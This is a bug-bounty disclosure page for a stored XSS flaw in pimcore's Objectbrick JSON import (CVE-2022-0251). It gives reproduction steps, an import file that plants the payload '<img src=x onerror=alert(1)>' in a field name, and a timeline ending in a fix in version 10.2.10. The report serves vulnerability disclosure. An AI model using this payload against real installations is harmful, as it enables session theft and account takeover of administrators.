Cross-site Scripting (XSS) - Stored in pimcore/pimcore

0

Valid Reported on Dec 21st 2021

Description

pimcore is vulnerable to Stored Cross-Site Scripting in the `name` field via the import functionality.

Steps to reproduce:

Navigate to settings --> Data Objects --> Objectbricks
ave the following data as JSON file and import it:

```
{
    "classDefinitions": [],
    "key": null,
    "parentClass": null,
    "implementsInterfaces": null,
    "title": "",
    "group": "",
    "layoutDefinitions": {
        "fieldtype": "panel",
        "layout": null,
        "border": false,
        "name": null,
        "type": null,
        "region": null,
        "title": null,
        "width": 0,
        "height": 0,
        "collapsible": false,
        "collapsed": false,
        "bodyStyle": null,
        "datatype": "layout",
        "permissions": null,
```

Chat with us

```
"childs": [
    {
        "fieldtype": "panel",
        "layout": null,
        "border": false,
        "name": "aa",
        "type": null,
        "region": null,
        "title": "",
        "width": null,
        "height": null,
        "collapsible": false,
        "collapsed": false,
        "bodyStyle": "",
        "datatype": "layout",
        "permissions": null,
        "childs": [
            {
                "fieldtype": "numeric",
                "width": "",
                "defaultValue": null,
                "queryColumnType": "double",
                "columnType": "double",
                "integer": true,
                "unsigned": true,
                "minValue": null,
                "maxValue": null,
                "unique": false,
                "decimalSize": null,
                "decimalPrecision": null,
                "name": "<img src=x onerror=alert(1)>",
                "title": "",
                "tooltip": "",
                "mandatory": false,
                "noteditable": false,
                "index": false,
                "locked": false,
                "style": "",
                "permissions": null,
                "datatype": "data",
```


Chat with us

```
        "relationType": false,
        "invisible": false,
        "visibleGridView": false,

        "visibleSearch": false,
        "defaultValueGenerator": ""
    },
    {
        "fieldtype": "numeric",
        "width": "",
        "defaultValue": null,
        "queryColumnType": "double",
        "columnType": "double",
        "integer": true,
        "unsigned": true,
        "minValue": null,
        "maxValue": null,
        "unique": false,
        "decimalSize": null,
        "decimalPrecision": null,
        "name": "numberOfSeats",
        "title": "Number Of Seats",
        "tooltip": "",
        "mandatory": false,
        "noteditable": false,
        "index": false,
        "locked": false,
        "style": "",
        "permissions": null,
        "datatype": "data",
        "relationType": false,
        "invisible": false,
        "visibleGridView": false,
        "visibleSearch": false,
        "defaultValueGenerator": ""
    },
    {
        "fieldtype": "quantityValue",
        "width": null,
        "unitWidth": null,
        "defaultValue": null,
        "defaultUnit": "4"
```


Chat with us

```
                "defaultUnit": "4",
                "validUnits": [
                    "4"

                ],
                "decimalPrecision": null,
                "autoConvert": false,
                "queryColumnType": {
                    "value": "double",
                    "unit": "varchar(64)"
                },
                "columnType": {
                    "value": "double",
                    "unit": "varchar(64)"
                },
                "name": "cargoCapacity",
                "title": "Cargo Capacity",
                "tooltip": "",
                "mandatory": false,
                "noteditable": false,
                "index": false,
                "locked": false,
                "style": "",
                "permissions": null,
                "datatype": "data",
                "relationType": false,
                "invisible": false,
                "visibleGridView": false,
                "visibleSearch": false,
                "defaultValueGenerator": ""
            }
        ],
        "locked": false,
        "icon": null,
        "labelWidth": 100,
        "labelAlign": "left"
    }
],
"locked": false,
"icon": null,
"labelWidth": 100,
"labelAlign": "left"
```


Chat with us

```
        "labelAlign": "left"
    },


    "generateTypeDeclarations": false
}
```

you will notice that the XSS alert has been triggered.

Payload

```
<img src=x onerror=alert(0)>
```

Impact

This vulnerability is capable of stealing users' cookies and gaining full account take over through his credentials and redirecting the user to a malicious website.

Occurrences

Service.php L228-L249

CVE
CVE-2022-0251
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
High (8.1)

Visibility
Public

Status
Fixed

Found by

Muhammad Adel
@itsfading
unranked

Chat with us

Fixed by

Divesh Pahuja
@dvesh3
maintainer

This report was seen 349 times.

We are processing your report and will contact the **pimcore** team within 24 hours. a year ago

We have contacted a member of the **pimcore** team and are waiting to hear back a year ago

We have sent a follow up to the **pimcore** team. We will try again in 7 days. a year ago

Muhammad Adel a year ago — Researcher

any updates?

We have sent a second follow up to the **pimcore** team. We will try again in 10 days. a year ago

We have sent a third and final follow up to the **pimcore** team. This report is now considered stale. a year ago

Bernhard Rusch validated this vulnerability 10 months ago

Muhammad Adel has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Josef Aichhorn 10 months ago — Maintainer

PR is in the queue: https://github.com/pimcore/pimcore/pull/11217

Divesh Pahuja marked this as fixed in **10.2.10** with commit **3ae96b** 10 months ago

Divesh Pahuja has been awarded the fix bounty ✔

Chat with us

This vulnerability will not receive a CVE ✖

Service.php#L228-L249 has been validated ✔

Sign in to join this conversation

2022 © 418sec

Chat with us